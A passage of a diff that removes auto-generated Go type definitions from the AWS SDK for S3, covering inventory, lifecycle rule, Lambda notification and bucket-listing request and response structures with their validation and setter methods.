request.ErrInvalidParams{Context: "InventoryFilter"} - if s.Prefix == nil { - invalidParams.Add(request.NewErrParamRequired("Prefix")) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetPrefix sets the Prefix field's value. -func (s *InventoryFilter) SetPrefix(v string) *InventoryFilter { - s.Prefix = &v - return s -} - -type InventoryS3BucketDestination struct { - _ struct{} `type:"structure"` - - // The ID of the account that owns the destination bucket. - AccountId *string `type:"string"` - - // The Amazon resource name (ARN) of the bucket where inventory results will - // be published. - // - // Bucket is a required field - Bucket *string `type:"string" required:"true"` - - // Contains the type of server-side encryption used to encrypt the inventory - // results. - Encryption *InventoryEncryption `type:"structure"` - - // Specifies the output format of the inventory results. - // - // Format is a required field - Format *string `type:"string" required:"true" enum:"InventoryFormat"` - - // The prefix that is prepended to all inventory results. - Prefix *string `type:"string"` -} - -// String returns the string representation -func (s InventoryS3BucketDestination) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s InventoryS3BucketDestination) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *InventoryS3BucketDestination) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "InventoryS3BucketDestination"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Format == nil { - invalidParams.Add(request.NewErrParamRequired("Format")) - } - if s.Encryption != nil { - if err := s.Encryption.Validate(); err != nil { - invalidParams.AddNested("Encryption", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetAccountId sets the AccountId field's value. -func (s *InventoryS3BucketDestination) SetAccountId(v string) *InventoryS3BucketDestination { - s.AccountId = &v - return s -} - -// SetBucket sets the Bucket field's value. -func (s *InventoryS3BucketDestination) SetBucket(v string) *InventoryS3BucketDestination { - s.Bucket = &v - return s -} - -func (s *InventoryS3BucketDestination) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetEncryption sets the Encryption field's value. -func (s *InventoryS3BucketDestination) SetEncryption(v *InventoryEncryption) *InventoryS3BucketDestination { - s.Encryption = v - return s -} - -// SetFormat sets the Format field's value. -func (s *InventoryS3BucketDestination) SetFormat(v string) *InventoryS3BucketDestination { - s.Format = &v - return s -} - -// SetPrefix sets the Prefix field's value. -func (s *InventoryS3BucketDestination) SetPrefix(v string) *InventoryS3BucketDestination { - s.Prefix = &v - return s -} - -type InventorySchedule struct { - _ struct{} `type:"structure"` - - // Specifies how frequently inventory results are produced. - // - // Frequency is a required field - Frequency *string `type:"string" required:"true" enum:"InventoryFrequency"` -} - -// String returns the string representation -func (s InventorySchedule) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s InventorySchedule) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *InventorySchedule) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "InventorySchedule"} - if s.Frequency == nil { - invalidParams.Add(request.NewErrParamRequired("Frequency")) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetFrequency sets the Frequency field's value. -func (s *InventorySchedule) SetFrequency(v string) *InventorySchedule { - s.Frequency = &v - return s -} - -type JSONInput struct { - _ struct{} `type:"structure"` - - // The type of JSON. Valid values: Document, Lines. - Type *string `type:"string" enum:"JSONType"` -} - -// String returns the string representation -func (s JSONInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s JSONInput) GoString() string { - return s.String() -} - -// SetType sets the Type field's value. -func (s *JSONInput) SetType(v string) *JSONInput { - s.Type = &v - return s -} - -type JSONOutput struct { - _ struct{} `type:"structure"` - - // The value used to separate individual records in the output. - RecordDelimiter *string `type:"string"` -} - -// String returns the string representation -func (s JSONOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s JSONOutput) GoString() string { - return s.String() -} - -// SetRecordDelimiter sets the RecordDelimiter field's value. -func (s *JSONOutput) SetRecordDelimiter(v string) *JSONOutput { - s.RecordDelimiter = &v - return s -} - -// A container for object key name prefix and suffix filtering rules. -type KeyFilter struct { - _ struct{} `type:"structure"` - - // A list of containers for the key value pair that defines the criteria for - // the filter rule. - FilterRules []*FilterRule `locationName:"FilterRule" type:"list" flattened:"true"` -} - -// String returns the string representation -func (s KeyFilter) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s KeyFilter) GoString() string { - return s.String() -} - -// SetFilterRules sets the FilterRules field's value. -func (s *KeyFilter) SetFilterRules(v []*FilterRule) *KeyFilter { - s.FilterRules = v - return s -} - -// A container for specifying the configuration for AWS Lambda notifications. -type LambdaFunctionConfiguration struct { - _ struct{} `type:"structure"` - - // Events is a required field - Events []*string `locationName:"Event" type:"list" flattened:"true" required:"true"` - - // A container for object key name filtering rules. For information about key - // name filtering, see Configuring Event Notifications (https://docs.aws.amazon.com/AmazonS3/latest/dev/NotificationHowTo.html) - // in the Amazon Simple Storage Service Developer Guide. - Filter *NotificationConfigurationFilter `type:"structure"` - - // An optional unique identifier for configurations in a notification configuration. - // If you don't provide one, Amazon S3 will assign an ID. - Id *string `type:"string"` - - // The Amazon Resource Name (ARN) of the Lambda cloud function that Amazon S3 - // can invoke when it detects events of the specified type. - // - // LambdaFunctionArn is a required field - LambdaFunctionArn *string `locationName:"CloudFunction" type:"string" required:"true"` -} - -// String returns the string representation -func (s LambdaFunctionConfiguration) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s LambdaFunctionConfiguration) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *LambdaFunctionConfiguration) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "LambdaFunctionConfiguration"} - if s.Events == nil { - invalidParams.Add(request.NewErrParamRequired("Events")) - } - if s.LambdaFunctionArn == nil { - invalidParams.Add(request.NewErrParamRequired("LambdaFunctionArn")) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetEvents sets the Events field's value. -func (s *LambdaFunctionConfiguration) SetEvents(v []*string) *LambdaFunctionConfiguration { - s.Events = v - return s -} - -// SetFilter sets the Filter field's value. -func (s *LambdaFunctionConfiguration) SetFilter(v *NotificationConfigurationFilter) *LambdaFunctionConfiguration { - s.Filter = v - return s -} - -// SetId sets the Id field's value. -func (s *LambdaFunctionConfiguration) SetId(v string) *LambdaFunctionConfiguration { - s.Id = &v - return s -} - -// SetLambdaFunctionArn sets the LambdaFunctionArn field's value. -func (s *LambdaFunctionConfiguration) SetLambdaFunctionArn(v string) *LambdaFunctionConfiguration { - s.LambdaFunctionArn = &v - return s -} - -type LifecycleConfiguration struct { - _ struct{} `type:"structure"` - - // Rules is a required field - Rules []*Rule `locationName:"Rule" type:"list" flattened:"true" required:"true"` -} - -// String returns the string representation -func (s LifecycleConfiguration) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s LifecycleConfiguration) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *LifecycleConfiguration) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "LifecycleConfiguration"} - if s.Rules == nil { - invalidParams.Add(request.NewErrParamRequired("Rules")) - } - if s.Rules != nil { - for i, v := range s.Rules { - if v == nil { - continue - } - if err := v.Validate(); err != nil { - invalidParams.AddNested(fmt.Sprintf("%s[%v]", "Rules", i), err.(request.ErrInvalidParams)) - } - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetRules sets the Rules field's value. -func (s *LifecycleConfiguration) SetRules(v []*Rule) *LifecycleConfiguration { - s.Rules = v - return s -} - -type LifecycleExpiration struct { - _ struct{} `type:"structure"` - - // Indicates at what date the object is to be moved or deleted. Should be in - // GMT ISO 8601 Format. - Date *time.Time `type:"timestamp" timestampFormat:"iso8601"` - - // Indicates the lifetime, in days, of the objects that are subject to the rule. - // The value must be a non-zero positive integer. - Days *int64 `type:"integer"` - - // Indicates whether Amazon S3 will remove a delete marker with no noncurrent - // versions. If set to true, the delete marker will be expired; if set to false - // the policy takes no action. This cannot be specified with Days or Date in - // a Lifecycle Expiration Policy. - ExpiredObjectDeleteMarker *bool `type:"boolean"` -} - -// String returns the string representation -func (s LifecycleExpiration) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s LifecycleExpiration) GoString() string { - return s.String() -} - -// SetDate sets the Date field's value. -func (s *LifecycleExpiration) SetDate(v time.Time) *LifecycleExpiration { - s.Date = &v - return s -} - -// SetDays sets the Days field's value. -func (s *LifecycleExpiration) SetDays(v int64) *LifecycleExpiration { - s.Days = &v - return s -} - -// SetExpiredObjectDeleteMarker sets the ExpiredObjectDeleteMarker field's value. -func (s *LifecycleExpiration) SetExpiredObjectDeleteMarker(v bool) *LifecycleExpiration { - s.ExpiredObjectDeleteMarker = &v - return s -} - -type LifecycleRule struct { - _ struct{} `type:"structure"` - - // Specifies the days since the initiation of an Incomplete Multipart Upload - // that Lifecycle will wait before permanently removing all parts of the upload. - AbortIncompleteMultipartUpload *AbortIncompleteMultipartUpload `type:"structure"` - - Expiration *LifecycleExpiration `type:"structure"` - - // The Filter is used to identify objects that a Lifecycle Rule applies to. - // A Filter must have exactly one of Prefix, Tag, or And specified. - Filter *LifecycleRuleFilter `type:"structure"` - - // Unique identifier for the rule. The value cannot be longer than 255 characters. - ID *string `type:"string"` - - // Specifies when noncurrent object versions expire. Upon expiration, Amazon - // S3 permanently deletes the noncurrent object versions. You set this lifecycle - // configuration action on a bucket that has versioning enabled (or suspended) - // to request that Amazon S3 delete noncurrent object versions at a specific - // period in the object's lifetime. - NoncurrentVersionExpiration *NoncurrentVersionExpiration `type:"structure"` - - NoncurrentVersionTransitions []*NoncurrentVersionTransition `locationName:"NoncurrentVersionTransition" type:"list" flattened:"true"` - - // Prefix identifying one or more objects to which the rule applies. This is - // No longer used; use Filter instead. - // - // Deprecated: Prefix has been deprecated - Prefix *string `deprecated:"true" type:"string"` - - // If 'Enabled', the rule is currently being applied. If 'Disabled', the rule - // is not currently being applied. - // - // Status is a required field - Status *string `type:"string" required:"true" enum:"ExpirationStatus"` - - Transitions []*Transition `locationName:"Transition" type:"list" flattened:"true"` -} - -// String returns the string representation -func (s LifecycleRule) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s LifecycleRule) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *LifecycleRule) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "LifecycleRule"} - if s.Status == nil { - invalidParams.Add(request.NewErrParamRequired("Status")) - } - if s.Filter != nil { - if err := s.Filter.Validate(); err != nil { - invalidParams.AddNested("Filter", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetAbortIncompleteMultipartUpload sets the AbortIncompleteMultipartUpload field's value. -func (s *LifecycleRule) SetAbortIncompleteMultipartUpload(v *AbortIncompleteMultipartUpload) *LifecycleRule { - s.AbortIncompleteMultipartUpload = v - return s -} - -// SetExpiration sets the Expiration field's value. -func (s *LifecycleRule) SetExpiration(v *LifecycleExpiration) *LifecycleRule { - s.Expiration = v - return s -} - -// SetFilter sets the Filter field's value. -func (s *LifecycleRule) SetFilter(v *LifecycleRuleFilter) *LifecycleRule { - s.Filter = v - return s -} - -// SetID sets the ID field's value. -func (s *LifecycleRule) SetID(v string) *LifecycleRule { - s.ID = &v - return s -} - -// SetNoncurrentVersionExpiration sets the NoncurrentVersionExpiration field's value. -func (s *LifecycleRule) SetNoncurrentVersionExpiration(v *NoncurrentVersionExpiration) *LifecycleRule { - s.NoncurrentVersionExpiration = v - return s -} - -// SetNoncurrentVersionTransitions sets the NoncurrentVersionTransitions field's value. -func (s *LifecycleRule) SetNoncurrentVersionTransitions(v []*NoncurrentVersionTransition) *LifecycleRule { - s.NoncurrentVersionTransitions = v - return s -} - -// SetPrefix sets the Prefix field's value. -func (s *LifecycleRule) SetPrefix(v string) *LifecycleRule { - s.Prefix = &v - return s -} - -// SetStatus sets the Status field's value. -func (s *LifecycleRule) SetStatus(v string) *LifecycleRule { - s.Status = &v - return s -} - -// SetTransitions sets the Transitions field's value. -func (s *LifecycleRule) SetTransitions(v []*Transition) *LifecycleRule { - s.Transitions = v - return s -} - -// This is used in a Lifecycle Rule Filter to apply a logical AND to two or -// more predicates. The Lifecycle Rule will apply to any object matching all -// of the predicates configured inside the And operator. -type LifecycleRuleAndOperator struct { - _ struct{} `type:"structure"` - - Prefix *string `type:"string"` - - // All of these tags must exist in the object's tag set in order for the rule - // to apply. - Tags []*Tag `locationName:"Tag" locationNameList:"Tag" type:"list" flattened:"true"` -} - -// String returns the string representation -func (s LifecycleRuleAndOperator) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s LifecycleRuleAndOperator) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *LifecycleRuleAndOperator) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "LifecycleRuleAndOperator"} - if s.Tags != nil { - for i, v := range s.Tags { - if v == nil { - continue - } - if err := v.Validate(); err != nil { - invalidParams.AddNested(fmt.Sprintf("%s[%v]", "Tags", i), err.(request.ErrInvalidParams)) - } - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetPrefix sets the Prefix field's value. -func (s *LifecycleRuleAndOperator) SetPrefix(v string) *LifecycleRuleAndOperator { - s.Prefix = &v - return s -} - -// SetTags sets the Tags field's value. -func (s *LifecycleRuleAndOperator) SetTags(v []*Tag) *LifecycleRuleAndOperator { - s.Tags = v - return s -} - -// The Filter is used to identify objects that a Lifecycle Rule applies to. -// A Filter must have exactly one of Prefix, Tag, or And specified. -type LifecycleRuleFilter struct { - _ struct{} `type:"structure"` - - // This is used in a Lifecycle Rule Filter to apply a logical AND to two or - // more predicates. The Lifecycle Rule will apply to any object matching all - // of the predicates configured inside the And operator. - And *LifecycleRuleAndOperator `type:"structure"` - - // Prefix identifying one or more objects to which the rule applies. - Prefix *string `type:"string"` - - // This tag must exist in the object's tag set in order for the rule to apply. - Tag *Tag `type:"structure"` -} - -// String returns the string representation -func (s LifecycleRuleFilter) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s LifecycleRuleFilter) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *LifecycleRuleFilter) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "LifecycleRuleFilter"} - if s.And != nil { - if err := s.And.Validate(); err != nil { - invalidParams.AddNested("And", err.(request.ErrInvalidParams)) - } - } - if s.Tag != nil { - if err := s.Tag.Validate(); err != nil { - invalidParams.AddNested("Tag", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetAnd sets the And field's value. -func (s *LifecycleRuleFilter) SetAnd(v *LifecycleRuleAndOperator) *LifecycleRuleFilter { - s.And = v - return s -} - -// SetPrefix sets the Prefix field's value. -func (s *LifecycleRuleFilter) SetPrefix(v string) *LifecycleRuleFilter { - s.Prefix = &v - return s -} - -// SetTag sets the Tag field's value. -func (s *LifecycleRuleFilter) SetTag(v *Tag) *LifecycleRuleFilter { - s.Tag = v - return s -} - -type ListBucketAnalyticsConfigurationsInput struct { - _ struct{} `type:"structure"` - - // The name of the bucket from which analytics configurations are retrieved. - // - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // The ContinuationToken that represents a placeholder from where this request - // should begin. - ContinuationToken *string `location:"querystring" locationName:"continuation-token" type:"string"` -} - -// String returns the string representation -func (s ListBucketAnalyticsConfigurationsInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s ListBucketAnalyticsConfigurationsInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *ListBucketAnalyticsConfigurationsInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "ListBucketAnalyticsConfigurationsInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *ListBucketAnalyticsConfigurationsInput) SetBucket(v string) *ListBucketAnalyticsConfigurationsInput { - s.Bucket = &v - return s -} - -func (s *ListBucketAnalyticsConfigurationsInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetContinuationToken sets the ContinuationToken field's value. -func (s *ListBucketAnalyticsConfigurationsInput) SetContinuationToken(v string) *ListBucketAnalyticsConfigurationsInput { - s.ContinuationToken = &v - return s -} - -type ListBucketAnalyticsConfigurationsOutput struct { - _ struct{} `type:"structure"` - - // The list of analytics configurations for a bucket. - AnalyticsConfigurationList []*AnalyticsConfiguration `locationName:"AnalyticsConfiguration" type:"list" flattened:"true"` - - // The ContinuationToken that represents where this request began. - ContinuationToken *string `type:"string"` - - // Indicates whether the returned list of analytics configurations is complete. - // A value of true indicates that the list is not complete and the NextContinuationToken - // will be provided for a subsequent request. - IsTruncated *bool `type:"boolean"` - - // NextContinuationToken is sent when isTruncated is true, which indicates that - // there are more analytics configurations to list. The next request must include - // this NextContinuationToken. The token is obfuscated and is not a usable value. - NextContinuationToken *string `type:"string"` -} - -// String returns the string representation -func (s ListBucketAnalyticsConfigurationsOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s ListBucketAnalyticsConfigurationsOutput) GoString() string { - return s.String() -} - -// SetAnalyticsConfigurationList sets the AnalyticsConfigurationList field's value. -func (s *ListBucketAnalyticsConfigurationsOutput) SetAnalyticsConfigurationList(v []*AnalyticsConfiguration) *ListBucketAnalyticsConfigurationsOutput { - s.AnalyticsConfigurationList = v - return s -} - -// SetContinuationToken sets the ContinuationToken field's value. -func (s *ListBucketAnalyticsConfigurationsOutput) SetContinuationToken(v string) *ListBucketAnalyticsConfigurationsOutput { - s.ContinuationToken = &v - return s -} - -// SetIsTruncated sets the IsTruncated field's value. -func (s *ListBucketAnalyticsConfigurationsOutput) SetIsTruncated(v bool) *ListBucketAnalyticsConfigurationsOutput { - s.IsTruncated = &v - return s -} - -// SetNextContinuationToken sets the NextContinuationToken field's value. -func (s *ListBucketAnalyticsConfigurationsOutput) SetNextContinuationToken(v string) *ListBucketAnalyticsConfigurationsOutput { - s.NextContinuationToken = &v - return s -} - -type ListBucketInventoryConfigurationsInput struct { - _ struct{} `type:"structure"` - - // The name of the bucket containing the inventory configurations to retrieve. - // - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // The marker used to continue an inventory configuration listing that has been - // truncated. Use the NextContinuationToken from a previously truncated list - // response to continue the listing. The continuation token is an opaque value - // that Amazon S3 understands. - ContinuationToken *string `location:"querystring" locationName:"continuation-token" type:"string"` -} - -// String returns the string representation -func (s ListBucketInventoryConfigurationsInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s ListBucketInventoryConfigurationsInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *ListBucketInventoryConfigurationsInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "ListBucketInventoryConfigurationsInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *ListBucketInventoryConfigurationsInput) SetBucket(v string) *ListBucketInventoryConfigurationsInput { - s.Bucket = &v - return s -} - -func (s *ListBucketInventoryConfigurationsInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetContinuationToken sets the ContinuationToken field's value. -func (s *ListBucketInventoryConfigurationsInput) SetContinuationToken(v string) *ListBucketInventoryConfigurationsInput { - s.ContinuationToken = &v - return s -} - -type ListBucketInventoryConfigurationsOutput struct { - _ struct{} `type:"structure"` - - // If sent in the request, the marker that is used as a starting point for this - // inventory configuration list response. - ContinuationToken *string `type:"string"` - - // The list of inventory configurations for a bucket. - InventoryConfigurationList []*InventoryConfiguration `locationName:"InventoryConfiguration" type:"list" flattened:"true"` - - // Indicates whether the returned list of inventory configurations is truncated - // in this response. A value of true indicates that the list is truncated. - IsTruncated *bool `type:"boolean"` - - // The marker used to continue this inventory configuration listing. Use the - // NextContinuationToken from this response to continue the listing in a subsequent - // request. The continuation token is an opaque value that Amazon S3 understands. - NextContinuationToken *string `type:"string"` -} - -// String returns the string representation -func (s ListBucketInventoryConfigurationsOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s ListBucketInventoryConfigurationsOutput) GoString() string { - return s.String() -} - -// SetContinuationToken sets the ContinuationToken field's value. -func (s *ListBucketInventoryConfigurationsOutput) SetContinuationToken(v string) *ListBucketInventoryConfigurationsOutput { - s.ContinuationToken = &v - return s -} - -// SetInventoryConfigurationList sets the InventoryConfigurationList field's value. -func (s *ListBucketInventoryConfigurationsOutput) SetInventoryConfigurationList(v []*InventoryConfiguration) *ListBucketInventoryConfigurationsOutput { - s.InventoryConfigurationList = v - return s -} - -// SetIsTruncated sets the IsTruncated field's value. -func (s *ListBucketInventoryConfigurationsOutput) SetIsTruncated(v bool) *ListBucketInventoryConfigurationsOutput { - s.IsTruncated = &v - return s -} - -// SetNextContinuationToken sets the NextContinuationToken field's value. -func (s *ListBucketInventoryConfigurationsOutput) SetNextContinuationToken(v string) *ListBucketInventoryConfigurationsOutput { - s.NextContinuationToken = &v - return s -} - -type ListBucketMetricsConfigurationsInput struct { - _ struct{} `type:"structure"` - - // The name of the bucket containing the metrics configurations to retrieve. - // - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // The marker that is used to continue a metrics configuration listing that - // has been truncated. Use the NextContinuationToken from a previously truncated - // list response to continue the listing. The continuation token is an opaque - // value that Amazon S3 understands. - ContinuationToken *string `location:"querystring" locationName:"continuation-token" type:"string"` -} - -// String returns the string representation -func (s ListBucketMetricsConfigurationsInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s ListBucketMetricsConfigurationsInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *ListBucketMetricsConfigurationsInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "ListBucketMetricsConfigurationsInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *ListBucketMetricsConfigurationsInput) SetBucket(v string) *ListBucketMetricsConfigurationsInput { - s.Bucket = &v - return s -} - -func (s *ListBucketMetricsConfigurationsInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetContinuationToken sets the ContinuationToken field's value. -func (s *ListBucketMetricsConfigurationsInput) SetContinuationToken(v string) *ListBucketMetricsConfigurationsInput { - s.ContinuationToken = &v - return s -} - -type ListBucketMetricsConfigurationsOutput struct { - _ struct{} `type:"structure"` - - // The marker that is used as a starting point for this metrics configuration - // list response. This value is present if it was sent in the request. - ContinuationToken *string `type:"string"` - - // Indicates whether the returned list of metrics configurations is complete. - // A value of true indicates that the list is not complete and the NextContinuationToken - // will be provided for a subsequent request. - IsTruncated *bool `type:"boolean"` - - // The list of metrics configurations for a bucket. - MetricsConfigurationList []*MetricsConfiguration `locationName:"MetricsConfiguration" type:"list" flattened:"true"` - - // The marker used to continue a metrics configuration listing that has been - // truncated. Use the NextContinuationToken from a previously truncated list - // response to continue the listing. The continuation token is an opaque value - // that Amazon S3 understands. - NextContinuationToken *string `type:"string"` -} - -// String returns the string representation -func (s ListBucketMetricsConfigurationsOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s ListBucketMetricsConfigurationsOutput) GoString() string { - return s.String() -} - -// SetContinuationToken sets the ContinuationToken field's value. -func (s *ListBucketMetricsConfigurationsOutput) SetContinuationToken(v string) *ListBucketMetricsConfigurationsOutput { - s.ContinuationToken = &v - return s -} - -// SetIsTruncated sets the IsTruncated field's value. -func (s *ListBucketMetricsConfigurationsOutput) SetIsTruncated(v bool) *ListBucketMetricsConfigurationsOutput { - s.IsTruncated = &v - return s -} - -// SetMetricsConfigurationList sets the MetricsConfigurationList field's value. -func (s *ListBucketMetricsConfigurationsOutput) SetMetricsConfigurationList(v []*MetricsConfiguration) *ListBucketMetricsConfigurationsOutput { - s.MetricsConfigurationList = v - return s -} - -// SetNextContinuationToken sets the NextContinuationToken field's value. -func (s *ListBucketMetricsConfigurationsOutput) SetNextContinuationToken(v string) *ListBucketMetricsConfigurationsOutput { - s.NextContinuationToken = &v - return s -} - -type ListBucketsInput struct { - _ struct{} `type:"structure"` -} - -// String returns the string representation -func (s ListBucketsInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s ListBucketsInput) GoString() string { - return s.String() -} - -type ListBucketsOutput struct { - _ struct{} `type:"structure"` - - Buckets []*Bucket `locationNameList:"Bucket" type:"list"` - - Owner *Owner `type:"structure"` -} - -// String returns the string representation -func (s ListBucketsOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s ListBucketsOutput) GoString() string { - return s.String() -} - -// SetBuckets sets the Buckets field's value. -func (s *ListBucketsOutput) SetBuckets(v []*Bucket) *ListBucketsOutput { - s.Buckets = v - return s -} - -// SetOwner sets the Owner field's value. -func (s *ListBucketsOutput) SetOwner(v *Owner) *ListBucketsOutput { - s.Owner = v - return s -} - -type ListMultipartUploadsInput struct { - _ struct{} `type:"structure"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // Character you use to group keys. - Delimiter *string `location:"querystring" locationName:"delimiter" type:"string"` - - // Requests Amazon S3 to encode the object keys in the response and specifies - // the encoding method to use. An object key may contain any Unicode character; - // however, XML 1.0 parser cannot parse some characters, such as characters - // with an ASCII value from 0 to 10. For characters that are not supported in - // XML 1.0, you can add this parameter to request that Amazon S3 encode the - // keys in the response. - EncodingType *string `location:"querystring" locationName:"encoding-type" type:"string" enum:"EncodingType"` - - // Together with upload-id-marker, this parameter specifies the multipart upload - // after which listing should begin. - KeyMarker *string `location:"querystring" locationName:"key-marker" type:"string"` - - // Sets the maximum number of multipart uploads, from 1 to 1,000, to return - // in the response body. 1,000 is the maximum number of uploads that can be - // returned in a response. - MaxUploads *int64 `location:"querystring" locationName:"max-uploads" type:"integer"` - - // Lists in-progress uploads only for those keys that begin with the specified - // prefix. - Prefix *string `location:"querystring" locationName:"prefix" type:"string"` - - // Together with key-marker, specifies the multipart upload after which listing - // should begin. If key-marker is not specified, the upload-id-marker parameter - // is ignored. - UploadIdMarker *string `location:"querystring" locationName:"upload-id-marker" type:"string"` -} - -// String returns the string representation -func (s ListMultipartUploadsInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s ListMultipartUploadsInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *ListMultipartUploadsInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "ListMultipartUploadsInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *ListMultipartUploadsInput) SetBucket(v string) *ListMultipartUploadsInput { - s.Bucket = &v - return s -} - -func (s *ListMultipartUploadsInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetDelimiter sets the Delimiter field's value. -func (s *ListMultipartUploadsInput) SetDelimiter(v string) *ListMultipartUploadsInput { - s.Delimiter = &v - return s -} - -// SetEncodingType sets the EncodingType field's value. -func (s *ListMultipartUploadsInput) SetEncodingType(v string) *ListMultipartUploadsInput { - s.EncodingType = &v - return s -} - -// SetKeyMarker sets the KeyMarker field's value. -func (s *ListMultipartUploadsInput) SetKeyMarker(v string) *ListMultipartUploadsInput { - s.KeyMarker = &v - return s -} - -// SetMaxUploads sets the MaxUploads field's value. -func (s *ListMultipartUploadsInput) SetMaxUploads(v int64) *ListMultipartUploadsInput { - s.MaxUploads = &v - return s -} - -// SetPrefix sets the Prefix field's value. -func (s *ListMultipartUploadsInput) SetPrefix(v string) *ListMultipartUploadsInput { - s.Prefix = &v - return s -} - -// SetUploadIdMarker sets the UploadIdMarker field's value. -func (s *ListMultipartUploadsInput) SetUploadIdMarker(v string) *ListMultipartUploadsInput { - s.UploadIdMarker = &v - return s -} - -type ListMultipartUploadsOutput struct { - _ struct{} `type:"structure"` - - // Name of the bucket to which the multipart upload was initiated. - Bucket *string `type:"string"` - - CommonPrefixes []*CommonPrefix `type:"list" flattened:"true"` - - Delimiter *string `type:"string"` - - // Encoding type used by Amazon S3 to encode object keys in the response. - EncodingType *string `type:"string" enum:"EncodingType"` - - // Indicates whether the returned list of multipart uploads is truncated. A - // value of true indicates that the list was truncated. The list can be truncated - // if the number of multipart uploads exceeds the limit allowed or specified - // by max uploads. - IsTruncated *bool `type:"boolean"` - - // The key at or after which the listing began. - KeyMarker *string `type:"string"` - - // Maximum number of multipart uploads that could have been included in the - // response. - 